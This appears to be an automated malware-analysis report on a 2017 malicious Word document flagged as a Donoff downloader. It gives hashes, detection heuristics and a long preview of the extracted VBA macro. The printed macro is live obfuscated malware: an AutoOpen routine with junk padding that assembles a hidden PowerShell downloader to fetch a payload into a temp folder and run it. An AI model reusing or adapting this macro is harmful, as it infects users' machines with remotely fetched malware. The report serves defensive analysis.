Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 df6ef50d0787a95e…

MALICIOUS

Office (OLE)

210.0 KB Created: 2017-03-21 09:38:00 Authoring application: Microsoft Office Word First seen: 2017-03-27
MD5: cfcd045de26d68fb571a6181b917b58d SHA-1: 1bcffcf02bce6c347047c134723101a0ac716c4b SHA-256: df6ef50d0787a95e48f9f9c2eedfb8ee09a076f944f43644ccaf17df253ef6f0
328 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The macros utilize 'WScript.Shell' via 'CreateObject' and 'CallByName', indicating an intent to execute commands or scripts. The presence of 'SC_STR_WSCRIPT' and 'OLE_VBA_WSCRIPT' heuristics further supports this. The 'AutoOpen' macro is designed to run automatically when the document is opened, suggesting it's intended to download and execute a secondary payload.

Heuristics 9

  • ClamAV: Doc.Downloader.Donoff-6152250-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Donoff-6152250-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    End If
    Set VPlFotHt = CreateObject("WScript.Shell")
    Dim JJDlzQiy As Long
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End If
    Set VPlFotHt = CreateObject("WScript.Shell")
    Dim JJDlzQiy As Long
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    End If
    Call CallByName(VPlFotHt, isu81C("SuRb", "rSuRbuSuRbnSuRb", "True"), 6796 / 6796, onyXnRR, 0)
    End If
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub AutoOpen()
    Dim cDwXeyhB As Integer
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 47367 bytes
SHA-256: fe610d4cba3d50304725f4a7e88ff86ae4054c23b6a614494c618ac443d06b7e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()
Dim cDwXeyhB As Integer
cDwXeyhB = 103
If cDwXeyhB > 16000 * 1 Then
MsgBox "defobjSelectTab", vbDefaultButton2, "defobjSelectTab"
Else
ganF2 = 32
End If
' Climb ambulance wanting experiencing dogmatism tuner
Dim OAIWL As Integer
OAIWL = 113
If OAIWL > 16000 * 1 Then
MsgBox "fr", vbRetryCancel, "fr"
Else
fuva0fZ = 18
End If
Set VPlFotHt = CreateObject("WScript.Shell")
Dim JJDlzQiy As Long
JJDlzQiy = 128
If JJDlzQiy > 8000 * 2 Then
MsgBox "kg", 4, "kg"
Else
CoyhT = 31
End If
Dim YvQUwQT As Integer
YvQUwQT = 66
If YvQUwQT > 16000 * 1 Then
MsgBox "implementsRtrimKill", vbInformation, "implementsRtrimKill"
Else
y0cWS = 18
End If
' Fealty puzzles delivering
Dim VTLOa As Integer
VTLOa = 74
If VTLOa > 8000 * 2 Then
MsgBox "i", vbMsgBoxRight, "i"
Else
DmqXqTD = 29
End If
' Ruts poultry
Dim I28IZUM As Integer
I28IZUM = 92
If I28IZUM > 16000 * 1 Then
MsgBox "printSetattrObject", vbMsgBoxHelpButton, "printSetattrObject"
Else
eXDAza = 17
End If
Dim qsqg0Dm As Integer
qsqg0Dm = 114
If qsqg0Dm > 16000 * 1 Then
MsgBox "IrgbI", VbMsgBoxSetForeground, "IrgbI"
Else
O5oHxk = 19
End If
Dim sudKDHiu As Long
sudKDHiu = 119
If sudKDHiu > 16000 * 1 Then
MsgBox "v", 64, "v"
Else
A3LNg8 = 26
End If
AyG3IpfP = isu81C("sOiLD", "rsOiLDlsOiLDssOiLD)sOiLD{sOiLDtsOiLDrsOiLDysOiLD{sOiLD$sOiLD", "True")
Dim qOJKZpC As Integer
qOJKZpC = 66
If qOJKZpC > 16000 * 1 Then
MsgBox "exitprocCaseBinary", 64, "exitprocCaseBinary"
Else
YTbqE9 = 29
End If
Dim qAbaxZok As Integer
qAbaxZok = 114
If qAbaxZok > 8000 * 2 Then
MsgBox "u4paTD", vbAbortRetryIgnore, "u4paTD"
Else
LGGM3HrPN = 20
End If
UmMHgt = isu81C("FZjI", "CFZjIoFZjImFZjIOFZjIbFZjIjFZjIeFZjIcFZjItFZjI FZjI", "True")
Dim YMNfEZv As Integer
YMNfEZv = 64
If YMNfEZv > 16000 * 1 Then
MsgBox "colony ipod taut", 48, "colony ipod taut"
Else
hb5UHc = 28
End If
' Lol preferences
Dim liwIBLL As Integer
liwIBLL = 117
If liwIBLL > 8000 * 2 Then
MsgBox "xVwkpK", 524288, "xVwkpK"
Else
cUJ9e = 19
End If
Dim OJmNFiTv As Long
OJmNFiTv = 94
If OJmNFiTv > 8000 * 2 Then
MsgBox "rucaser", vbSystemModal, "rucaser"
Else
eWcuqK = 29
End If
Dim eJN2pSd As Long
eJN2pSd = 88
If eJN2pSd > 16000 * 1 Then
MsgBox "dhsCvk", vbMsgBoxHelpButton, "dhsCvk"
Else
tUjZN9 = 30
End If
' Concord
fGJuHRr = isu81C("qTbH", "eqTbHbqTbHCqTbHlqTbHiqTbHeqTbHnqTbHtqTbH;qTbH$qTbH", "True")
Dim dqFPhbf As Integer
dqFPhbf = 91
If dqFPhbf > 16000 * 1 Then
MsgBox "IselectI", 0, "IselectI"
Else
VEmlfF = 32
End If
Dim VV39xtY As Integer
VV39xtY = 92
If VV39xtY > 8000 * 2 Then
MsgBox "FjGf8x", vbYesNo, "FjGf8x"
Else
ykWPf7V = 18
End If
' Juicy maya
oxXoyrIb = isu81C("ZYuRz", "cZYuRzrZYuRziZYuRzpZYuRztZYuRz ZYuRz=ZYuRz ZYuRznZYuRzeZYuRz", "True")
Dim iuKcK As Long
iuKcK = 71
If iuKcK > 8000 * 2 Then
MsgBox "lbasel", vbQuestion, "lbasel"
Else
oQ57FZIT = 16
End If
' Html bostonian ieee experienced kurt permits
Dim jTNNzGzT As Integer
jTNNzGzT = 82
If jTNNzGzT > 8000 * 2 Then
MsgBox "AorA", 524288, "AorA"
Else
AAreXZ9 = 32
End If
' Blind priority commons discovers
hhYVt = isu81C("NTCL5a", "lNTCL5aeNTCL5a(NTCL5a$NTCL5auNTCL5arNTCL5alNTCL5a.NTCL5aTNTCL5aoNTCL5a", "True")
Dim kTWV0rI As Long
kTWV0rI = 73
If kTWV0rI > 8000 * 2 Then
MsgBox "validity", 32, "validity"
Else
BnzaDA7 = 21
End If
' Tagged
Dim U4Mqt As Integer
U4Mqt = 121
If U4Mqt > 8000 * 2 Then
MsgBox "C", 4096, "C"
Else
LAqKyB1 = 23
End If
Dim D2dQn As Long
D2dQn = 115
If D2dQn > 8000 * 2 Then
MsgBox "HH", vbMsgBoxRight, "HH"
Else
thzkB4F = 31
End If
Dim ZVqKhcg As Integer
ZVqKhcg = 124
If ZVqKhcg > 16000 * 1 Then
MsgBox "optimization slightly canada hobart", vbDefaultButton1, "optimization slightly canada hobart"
Else
zddHO = 30
End If
cLRyMp = isu81C("ZUlHyg", "lZUlHygsZUlHyg ZUlHyg=ZUlHyg ZUlHyg'ZUlHyghZUlHygtZUlHygtZUlHygpZUlHyg", "True")
Dim RZAQm As Integer
RZAQm = 81
If RZAQm > 8000 * 2 Then
MsgBox "j", vbSystemModal, "j"
Else
BfLxck = 22
End If
' Accusing bumper generally carnival
Dim QNeFqiZ As Integer
QNeFqiZ = 91
If QNeFqiZ > 16000 * 1 Then
MsgBox "HYorXa", vbQuestion, "HYorXa"
Else
LiUQVk = 18
End If
' Defensible springfield sarcastically flea
Dim CAmoTYf As Integer
CAmoTYf = 76
If CAmoTYf > 8000 * 2 Then
MsgBox "holster lizard operates descartes crew waters coeval expense inflammatory", 32, "holster lizard operates descartes crew waters coeval expense inflammatory"
Else
uvLDY = 31
End If
Dim XVYMfy As Integer
XVYMfy = 123
If XVYMfy > 8000 * 2 Then
MsgBox "qe", vbAbortRetryIgnore, "qe"
Else
fYOyCv = 23
End If
' Zeke adjourn presently except
m4dOpTb = isu81C("Uxeo5q", "rUxeo5qtUxeo5q Uxeo5q/Uxeo5qbUxeo5q Uxeo5qpUxeo5qoUxeo5qwUxeo5qeUxeo5q", "True")
Dim TdBPj5 As Integer
TdBPj5 = 123
If TdBPj5 > 16000 * 1 Then
MsgBox "emmanuel sunny flail wreak honeymoon", vbOKCancel, "emmanuel sunny flail wreak honeymoon"
Else
kPCoT9 = 29
End If
' Grammatical dray death
Dim mZQmXN As Integer
mZQmXN = 111
If mZQmXN > 8000 * 2 Then
MsgBox "locDefdateCstr", 16384, "locDefdateCstr"
Else
bVTopOh = 27
End If
' Tray lisbon bot
Dim EDIAiw As Integer
EDIAiw = 127
If EDIAiw > 16000 * 1 Then
MsgBox "hawk liberated switches slime malediction", 32, "hawk liberated switches slime malediction"
Else
VpnIhpt = 20
End If
' Jaguar pie
gHFAoRQDO = isu81C("kWAf", " kWAf$kWAfpkWAfakWAftkWAfhkWAf;kWAfbkWAfrkWAfekWAf", "True")
Dim gRBAIz As Integer
gRBAIz = 92
If gRBAIz > 16000 * 1 Then
MsgBox "rQ", vbCritical, "rQ"
Else
ifzXcLy = 19
End If
Dim fSwFT As Long
fSwFT = 76
If fSwFT > 8000 * 2 Then
MsgBox "Pipeline protective richardson purposes resentful", vbDefaultButton1, "Pipeline protective richardson purposes resentful"
Else
I1Unuc = 25
End If
' Revolting culprit
Dim fDBuhSr As Integer
fDBuhSr = 100
If fDBuhSr > 16000 * 1 Then
MsgBox "remDeclareDefstr", vbApplicationModal, "remDeclareDefstr"
Else
upfQYcU = 28
End If
qhclKgk = isu81C("FxMy", "eFxMywFxMy-FxMyoFxMybFxMyjFxMyeFxMycFxMytFxMy FxMy", "True")
Dim JvepUmQ As Long
JvepUmQ = 97
If JvepUmQ > 8000 * 2 Then
MsgBox "QerrorQ", 16, "QerrorQ"
Else
wJbxXD = 17
End If
' Discounted
Dim BnwwsYL As Integer
BnwwsYL = 86
If BnwwsYL > 8000 * 2 Then
MsgBox "implementsWendLcase", 0, "implementsWendLcase"
Else
k9BAzw = 28
End If
B8ajmy = isu81C("rRhKh", "$rRhKhurRhKhrrRhKhlrRhKh rRhKhirRhKhnrRhKh rRhKh$rRhKhurRhKh", "True")
Dim W4xbLL As Integer
W4xbLL = 68
If W4xbLL > 16000 * 1 Then
MsgBox "And irksome in- sized", 1048576, "And irksome in- sized"
Else
wkcEtZUz = 22
End If
' Branding geraldine
Dim chyalzh As Integer
chyalzh = 90
If chyalzh > 8000 * 2 Then
MsgBox "exitprocBeepDeclare", 0, "exitprocBeepDeclare"
Else
wGbHd5JA = 18
End If
Dim K0bMBWR As Integer
K0bMBWR = 122
If K0bMBWR > 8000 * 2 Then
MsgBox "Appreciable columns thinking remuneration miss", vbMsgBoxRight, "Appreciable columns thinking remuneration miss"
Else
ZXViRI = 28
End If
zXyCuq = isu81C("bNZNlD", "DbNZNlDobNZNlDwbNZNlDnbNZNlDlbNZNlDobNZNlDabNZNlDdbNZNlDFbNZNlDibNZNlD", "True")
Dim oSTBxZd7 As Long
oSTBxZd7 = 95
If oSTBxZd7 > 8000 * 2 Then
MsgBox "sf kinship initiate tall abounded worshiped", 48, "sf kinship initiate tall abounded worshiped"
Else
LbSBwrP = 20
End If
' Unyielding shifty oecd steve
Dim DBDF3Gt As Long
DBDF3Gt = 96
If DBDF3Gt > 16000 * 1 Then
MsgBox "ryxrO5", 512, "ryxrO5"
Else
U8DIEV = 16
End If
Dim MpxQjL As Long
MpxQjL = 68
If MpxQjL > 8000 * 2 Then
MsgBox "Z", vbRetryCancel, "Z"
Else
ABBfDod0 = 26
End If
SQqIKO = isu81C("KDrr", "wKDrr-KDrroKDrrbKDrrjKDrreKDrrcKDrrtKDrr KDrr-KDrr", "True")
Dim YYP3LIP As Integer
YYP3LIP = 91
If YYP3LIP > 16000 * 1 Then
MsgBox "Pending origination villages highways reg soto isolated regent without lock", vbMsgBoxRight, "Pending origination villages highways reg soto isolated regent without lock"
Else
WhFwnN = 20
End If
Dim tICiUWN As Long
tICiUWN = 121
If tICiUWN > 16000 * 1 Then
MsgBox "S", 3, "S"
Else
SDsIbfUI = 21
End If
' Sep imitator
Dim WjgNX As Long
WjgNX = 101
If WjgNX > 16000 * 1 Then
MsgBox "Matting brushing appreciative eradicate restive penury", 3, "Matting brushing appreciative eradicate restive penury"
Else
ovbkGg = 20
End If
K3tFErt = isu81C("SfEZvL", "$SfEZvLpSfEZvLaSfEZvLtSfEZvLhSfEZvL)SfEZvL;SfEZvLSSfEZvLtSfEZvLaSfEZvL", "True")
Dim hdr8QKNM As Long
hdr8QKNM = 73
If hdr8QKNM > 16000 * 1 Then
MsgBox "L", vbDefaultButton1, "L"
Else
DiTtCi = 31
End If
' Middling healing pichunter ford
Dim d9els As Long
d9els = 122
If d9els > 16000 * 1 Then
MsgBox "soccer doric", vbYesNoCancel, "soccer doric"
Else
chYgslFOx = 17
End If
Dim soSUu As Long
soSUu = 120
If soSUu > 8000 * 2 Then
MsgBox "loadpictureDoubleMe", 32, "loadpictureDoubleMe"
Else
k64ePcI = 28
End If
kMSsHlM = isu81C("B5UH", "jB5UHeB5UHtB5UH.B5UHjB5UHkB5UHlB5UH'B5UH.B5UHSB5UH", "True")
Dim msoPEf As Integer
msoPEf = 67
If msoPEf > 16000 * 1 Then
MsgBox "Mi", 1, "Mi"
Else
VgN1W = 17
End If
' Initiation characterize refugees
Dim l7yivt As Integer
l7yivt = 109
If l7yivt > 8000 * 2 Then
MsgBox "playback header bennett provost therapeutic immunity headgear commitments une", 4096, "playback header bennett provost therapeutic immunity headgear commitments une"
Else
lDYFWNwa = 31
End If
' Unruly faultless ovary
Dim I68ZRJ0E As Long
I68ZRJ0E = 96
If I68ZRJ0E > 16000 * 1 Then
MsgBox "k", vbDefaultButton1, "k"
Else
khQIE = 30
End If
' Aimed trader unafraid
Dim PYzrgH As Long
PYzrgH = 84
If PYzrgH > 8000 * 2 Then
MsgBox "qp6xx", 524288, "qp6xx"
Else
DERFP = 17
End If
' Unattractive bugle nokia
WLaZ9L = isu81C("IFiwI", "mIFiwIeIFiwI IFiwI+IFiwI IFiwI'IFiwI.IFiwIeIFiwIxIFiwIeIFiwI", "True")
Dim jqdAP As Long
jqdAP = 76
If jqdAP > 16000 * 1 Then
MsgBox "ch", vbOKOnly, "ch"
Else
aGMFKSb = 20
End If
Dim M7cereb As Integer
M7cereb = 95
If M7cereb > 16000 * 1 Then
MsgBox "Telephony obsequies metropolitan serbian", 1048576, "Telephony obsequies metropolitan serbian"
Else
pFVDBm7 = 30
End If
' Abhorrent
Dim WDErcHM As Long
WDErcHM = 105
If WDErcHM > 8000 * 2 Then
MsgBox "LcurdirL", vbYesNoCancel, "LcurdirL"
Else
gokGyJ = 29
End If
' Raymond evening endorsed veterinary mew declaration
Dim bXdBnm4I As Long
bXdBnm4I = 113
If bXdBnm4I > 16000 * 1 Then
MsgBox "Mj3u8p", vbOKOnly, "Mj3u8p"
Else
pRb5M6Tm = 22
End If
dJAIxoH = isu81C("pbLUUJ", "SpbLUUJtpbLUUJrpbLUUJipbLUUJnpbLUUJgpbLUUJ(pbLUUJ)pbLUUJ,pbLUUJ pbLUUJ", "True")
Dim WnbryBL As Integer
WnbryBL = 67
If WnbryBL > 8000 * 2 Then
MsgBox "jOrank", 256, "jOrank"
Else
W0ZbHuUq = 23
End If
' Pt
Dim fQ1vN As Integer
fQ1vN = 88
If fQ1vN > 16000 * 1 Then
MsgBox "pave hobby worn-out unanimity", vbOKCancel, "pave hobby worn-out unanimity"
Else
PnoiYIv3 = 30
End If
Dim h6tNWAQ As Integer
h6tNWAQ = 125
If h6tNWAQ > 16000 * 1 Then
MsgBox "ndateaddn", 48, "ndateaddn"
Else
zgz3QR = 31
End If
ay9Y5 = isu81C("UQxVwk", " UQxVwk$UQxVwk_UQxVwk.UQxVwkEUQxVwkxUQxVwkcUQxVwkeUQxVwkpUQxVwktUQxVwk", "True")
Dim XL3JBke As Long
XL3JBke = 65
If XL3JBke > 16000 * 1 Then
MsgBox "gulp", vbAbortRetryIgnore, "gulp"
Else
D5NbTF = 26
End If
Dim euR0LUYi As Long
euR0LUYi = 76
If euR0LUYi > 16000 * 1 Then
MsgBox "xh7KtqPxa", vbDefaultButton1, "xh7KtqPxa"
Else
nJUHesoG = 26
End If
ytjnnBy = isu81C("sVoJ", "wsVoJrsVoJisVoJtsVoJesVoJ-sVoJhsVoJosVoJssVoJtsVoJ", "True")
Dim kCwvxPf As Long
kCwvxPf = 66
If kCwvxPf > 16000 * 1 Then
MsgBox "wh", vbYesNoCancel, "wh"
Else
Xzff6Cy = 21
End If
' Footstep incoming
Dim KBRXWw As Long
KBRXWw = 120
If KBRXWw > 8000 * 2 Then
MsgBox "iVQqp", 4, "iVQqp"
Else
AgWRYbCy = 23
End If
KoWjEPsK = isu81C("VblswQ", "rVblswQaVblswQnVblswQdVblswQoVblswQmVblswQ;VblswQ$VblswQuVblswQrVblswQ", "True")
Dim LUdUTt6 As Long
LUdUTt6 = 96
If LUdUTt6 > 16000 * 1 Then
MsgBox "clandestinely pounds dervish eyebrow", vbYesNoCancel, "clandestinely pounds dervish eyebrow"
Else
JnAzxw = 20
End If
Dim foQVbAv As Long
foQVbAv = 103
If foQVbAv > 8000 * 2 Then
MsgBox "bxnryCX", vbRetryCancel, "bxnryCX"
Else
LGYkMx = 20
End If
' Avoid
Dim FFCRDW As Long
FFCRDW = 119
If FFCRDW > 16000 * 1 Then
MsgBox "wendCboolSub", vbYesNoCancel, "wendCboolSub"
Else
nSvqp = 24
End If
Dim mHvOFcn As Long
mHvOFcn = 64
If mHvOFcn > 16000 * 1 Then
MsgBox "variantShellOn", 3, "variantShellOn"
Else
L6cgOia = 17
End If
izwSpdn = isu81C("fhst", "afhstnfhstdfhstofhstmfhst.fhstnfhstefhstxfhsttfhst", "True")
Dim nF0Uh As Long
nF0Uh = 107
If nF0Uh > 8000 * 2 Then
MsgBox "articles nails", vbMsgBoxRight, "articles nails"
Else
VSrLGm = 18
End If
Dim rwYZRm As Long
rwYZRm = 75
If rwYZRm > 8000 * 2 Then
MsgBox "DI", vbOKOnly, "DI"
Else
jQOGsWS = 18
End If
Dim YkhRrc As Long
YkhRrc = 94
If YkhRrc > 16000 * 1 Then
MsgBox "nc", 65536, "nc"
Else
UpOHa = 25
End If
' Subheading
AasuiM = isu81C("SYmLw", "cSYmLwmSYmLwdSYmLw SYmLw/SYmLwcSYmLw SYmLwsSYmLwtSYmLwaSYmLw", "True")
Dim gZlIi8 As Long
gZlIi8 = 113
If gZlIi8 > 8000 * 2 Then
MsgBox "Twice signals fail credit finish liturgy juice beastality vacation", 64, "Twice signals fail credit finish liturgy juice beastality vacation"
Else
QzbySfWw = 22
End If
' Dwelling-place soto fireman
Dim yGhhwWA As Integer
yGhhwWA = 76
If yGhhwWA > 16000 * 1 Then
MsgBox "Wifi frantically behest", vbDefaultButton3, "Wifi frantically behest"
Else
ohmOCtq = 23
End If
' Ewer covers pepper
dLd3Mc = isu81C("RWzL", "iRWzLeRWzLnRWzLtRWzL RWzL=RWzL RWzLnRWzLeRWzLwRWzL", "True")
Dim xoShZ As Integer
xoShZ = 72
If xoShZ > 8000 * 2 Then
MsgBox "NenumN", 256, "NenumN"
Else
oK0kESj = 17
End If
Dim LrqcR As Long
LrqcR = 103
If LrqcR > 16000 * 1 Then
MsgBox "perth concurred nonchalant assam compulsion social rosette", VbMsgBoxSetForeground, "perth concurred nonchalant assam compulsion social rosette"
Else
LoZkbGO = 26
End If
SG3ME = isu81C("gTReN", ";gTReN$gTReNpgTReNagTReNtgTReNhgTReN gTReN=gTReN gTReN$gTReN", "True")
Dim kEs6Zgdj As Long
kEs6Zgdj = 108
If kEs6Zgdj > 8000 * 2 Then
MsgBox "rsetAbsObject", vbQuestion, "rsetAbsObject"
Else
KymVwvjyJ = 24
End If
Dim LAtM0Q As Long
LAtM0Q = 121
If LAtM0Q > 16000 * 1 Then
MsgBox "jOxYFGnt", 48, "jOxYFGnt"
Else
BuFNum = 17
End If
' Transportation ot angle dildo
pfToXQp5 = isu81C("TIsts", "aTIstskTIsts;TIsts}TIstscTIstsaTIststTIstscTIstshTIsts{TIsts", "True")
Dim AE0SZ As Long
AE0SZ = 76
If AE0SZ > 16000 * 1 Then
MsgBox "B5DIrej", 1048576, "B5DIrej"
Else
HXeaGXfY = 22
End If
Dim LWroij As Integer
LWroij = 110
If LWroij > 8000 * 2 Then
MsgBox "Uplift willy jailer put botswana forbidden dissolving manipulation", vbYesNo, "Uplift willy jailer put botswana forbidden dissolving manipulation"
Else
HlxqJPtP = 23
End If
HzrGwg = isu81C("kwkaI", "rkwkaItkwkaI-kwkaIPkwkaIrkwkaIokwkaIckwkaIekwkaIskwkaIskwkaI", "True")
Dim KCww6Fs As Integer
KCww6Fs = 101
If KCww6Fs > 8000 * 2 Then
MsgBox "HsetH", vbMsgBoxRight, "HsetH"
Else
PtQVoW = 26
End If
Dim zVYME As Integer
zVYME = 94
If zVYME > 16000 * 1 Then
MsgBox "Repertory knotty workers condone ignominious", vbYesNoCancel, "Repertory knotty workers condone ignominious"
Else
b6MZExhSE = 27
End If
' Stated reg
Dim cbOGg As Integer
cbOGg = 66
If cbOGg > 8000 * 2 Then
MsgBox "HWrIBoS", 4096, "HWrIBoS"
Else
SdQ2Ot = 31
End If
Dim U1VOjG As Integer
U1VOjG = 106
If U1VOjG > 8000 * 2 Then
MsgBox "Anime curious", vbMsgBoxHelpButton, "Anime curious"
Else
DDmFJxw = 17
End If
' Measuring grafting excess impressive
jhlFj = isu81C("lidq", "$lidqnlidqalidqmlidqelidq lidq=lidq lidq$lidqrlidq", "True")
Dim UTInk As Long
UTInk = 108
If UTInk > 8000 * 2 Then
MsgBox "banners synonym southwark duties jamie annunciation ethereal", 4096, "banners synonym southwark duties jamie annunciation ethereal"
Else
uPDqG = 27
End If
' Ga supervision reef cattle
Dim yAUoN4uz As Long
yAUoN4uz = 79
If yAUoN4uz > 16000 * 1 Then
MsgBox "H", 768, "H"
Else
vXES8s = 24
End If
Dim PHci7xy As Integer
PHci7xy = 98
If PHci7xy > 8000 * 2 Then
MsgBox "expDecimalConst", vbCritical, "expDecimalConst"
Else
jh3YAS = 27
End If
uvM2NUt = isu81C("srIBb", "psrIBblsrIBbisrIBbtsrIBb(srIBb'srIBb,srIBb'srIBb)srIBb;srIBb", "True")
Dim TpE0gcR As Integer
TpE0gcR = 85
If TpE0gcR > 8000 * 2 Then
MsgBox "bc", vbYesNo, "bc"
Else
H8WHbL = 30
End If
Dim VoKSH As Integer
VoKSH = 123
If VoKSH > 16000 * 1 Then
MsgBox "Nested snake registration revenge", vbQuestion, "Nested snake registration revenge"
Else
KlWPk = 31
End If
' Johnson gotta feet cancel
Dim W0azQScI As Integer
W0azQScI = 119
If W0azQScI > 8000 * 2 Then
MsgBox "Gases sri parasol", vbAbortRetryIgnore, "Gases sri parasol"
Else
SwYzwWr = 30
End If
vCKSo = isu81C("cBf1o", "HcBf1oicBf1odcBf1odcBf1oecBf1oncBf1o cBf1o$cBf1owcBf1oscBf1o", "True")
Dim KpHoGUS As Integer
KpHoGUS = 111
If KpHoGUS > 16000 * 1 Then
MsgBox "p", 48, "p"
Else
qtzf5 = 23
End If
Dim yYHCFPFF As Long
yYHCFPFF = 76
If yYHCFPFF > 8000 * 2 Then
MsgBox "xj", vbMsgBoxRight, "xj"
Else
I4fve = 31
End If
' Dell usefully problematical taxi
Dim iHfxrLnmy As Long
iHfxrLnmy = 70
If iHfxrLnmy > 16000 * 1 Then
MsgBox "UremU", VbMsgBoxSetForeground, "UremU"
Else
Hhsim = 30
End If
Z5ObfKF = isu81C("tMiM", "ntMiMdtMiMotMiMwtMiMStMiMttMiMytMiMltMiMetMiM tMiM", "True")
Dim VMjBwM8 As Integer
VMjBwM8 = 119
If VMjBwM8 > 16000 * 1 Then
MsgBox "MJCTMI", 1, "MJCTMI"
Else
So4T9JV = 16
End If
' Perform libels garnered
Dim oDnecYp As Long
oDnecYp = 79
If oDnecYp > 16000 * 1 Then
MsgBox "LW", vbApplicationModal, "LW"
Else
qHBat4 = 32
End If
Dim vEBpkJ As Integer
vEBpkJ = 124
If vEBpkJ > 8000 * 2 Then
MsgBox "Sexcam dim theory morris supplement", vbOKOnly, "Sexcam dim theory morris supplement"
Else
LeKbg = 22
End If
Dim fhbHK As Long
fhbHK = 116
If fhbHK > 8000 * 2 Then
MsgBox "BF", 256, "BF"
Else
mypiiXJ = 31
End If
AoDxPUa5 = isu81C("zCZwT", "wzCZwTezCZwTbzCZwTczCZwTlzCZwTizCZwTezCZwTnzCZwTtzCZwT.zCZwT", "True")
Dim WBSpL As Integer
WBSpL = 126
If WBSpL > 16000 * 1 Then
MsgBox "a", vbMsgBoxRight, "a"
Else
uipKVQ = 23
End If
Dim bMqSP As Long
bMqSP = 68
If bMqSP > 16000 * 1 Then
MsgBox "ftypef", 3, "ftypef"
Else
eM7WT = 23
End If
' Preference divest tableaux
Dim TQ03FT As Integer
TQ03FT = 127
If TQ03FT > 16000 * 1 Then
MsgBox "ovarianto", vbInformation, "ovarianto"
Else
rnu8o5l = 22
End If
' Carriers
inVvW1TN = isu81C("BhdCM7", "eBhdCM7nBhdCM7vBhdCM7:BhdCM7tBhdCM7eBhdCM7mBhdCM7pBhdCM7 BhdCM7+BhdCM7", "True")
Dim D0DhPAm As Integer
D0DhPAm = 105
If D0DhPAm > 16000 * 1 Then
MsgBox "tnullt", VbMsgBoxSetForeground, "tnullt"
Else
qHeTtcz = 22
End If
' Untried granny
Dim aaDGFh As Long
aaDGFh = 108
If aaDGFh > 8000 * 2 Then
MsgBox "concerto incite godmother arras envelope lush flexible crucifix", 48, "concerto incite godmother arras envelope lush flexible crucifix"
Else
dQPLfqKY = 29
End If
EzSSPxV9D = isu81C("eXfd", "'eXfd;eXfdfeXfdoeXfdreXfdeeXfdaeXfdceXfdheXfd(eXfd", "True")
Dim YUtue3r As Integer
YUtue3r = 112
If YUtue3r > 16000 * 1 Then
MsgBox "vlongv", vbRetryCancel, "vlongv"
Else
DjmLDh2Ez = 29
End If
' Celts attitude even
Dim ZXmOnZC As Integer
ZXmOnZC = 121
If ZXmOnZC > 8000 * 2 Then
MsgBox "yfalsey", 5, "yfalsey"
Else
cFpiGal = 27
End If
IvYixg = isu81C("bpTN", "WbpTNSbpTNcbpTNrbpTNibpTNpbpTNtbpTN.bpTNSbpTNhbpTN", "True")
Dim HDsObI As Long
HDsObI = 122
If HDsObI > 16000 * 1 Then
MsgBox "KsinK", vbExclamation, "KsinK"
Else
SyAuq = 29
End If
Dim GRvaBu9b As Long
GRvaBu9b = 106
If GRvaBu9b > 16000 * 1 Then
MsgBox "Lately don previous defray backbone", vbOKOnly, "Lately don previous defray backbone"
Else
nudYfw = 18
End If
Dim tjuenFENp As Long
tjuenFENp = 112
If tjuenFENp > 16000 * 1 Then
MsgBox "hIOnIVs", vbYesNo, "hIOnIVs"
Else
VcDtnz = 30
End If
' Sloop take casual magnificently recruit
pMjRX = isu81C("M6aY", "(M6aY1M6aY,M6aY M6aY6M6aY5M6aY5M6aY3M6aY6M6aY)M6aY", "True")
Dim hIssaGpd As Long
hIssaGpd = 85
If hIssaGpd > 16000 * 1 Then
MsgBox "RresumeR", 65536, "RresumeR"
Else
qBOpX = 19
End If
Dim BTjw9Wrd As Integer
BTjw9Wrd = 112
If BTjw9Wrd > 16000 * 1 Then
MsgBox "zm", vbAbortRetryIgnore, "zm"
Else
KWb2t1O = 30
End If
' Putrefaction bought cramp ivory
hfPyRzAxg = isu81C("GKpTJC", "rGKpTJCaGKpTJCnGKpTJCdGKpTJCoGKpTJCmGKpTJC GKpTJC=GKpTJC GKpTJCnGKpTJC", "True")
Dim AITdqd As Integer
AITdqd = 74
If AITdqd > 8000 * 2 Then
MsgBox "zk", vbDefaultButton2, "zk"
Else
FWoM0 = 16
End If
Dim VdqVQs As Long
VdqVQs = 126
If VdqVQs > 8000 * 2 Then
MsgBox "Reference pyramidal fee savings qc", 4096, "Reference pyramidal fee savings qc"
Else
pmPan = 23
End If
' Baiting unsteady equally execution tired diplomat
a77cflw = isu81C("Y5MdH", "sY5MdH.Y5MdHpY5MdHlY5MdH/Y5MdHfY5MdHiY5MdHlY5MdHeY5MdH/Y5MdH", "True")
Dim SYhwHe As Long
SYhwHe = 82
If SYhwHe > 16000 * 1 Then
MsgBox "qdlIm", vbApplicationModal, "qdlIm"
Else
xbzQvCK = 21
End If
Dim irLTGY As Long
irLTGY = 88
If irLTGY > 8000 * 2 Then
MsgBox "elseifMkdirBase", 3, "elseifMkdirBase"
Else
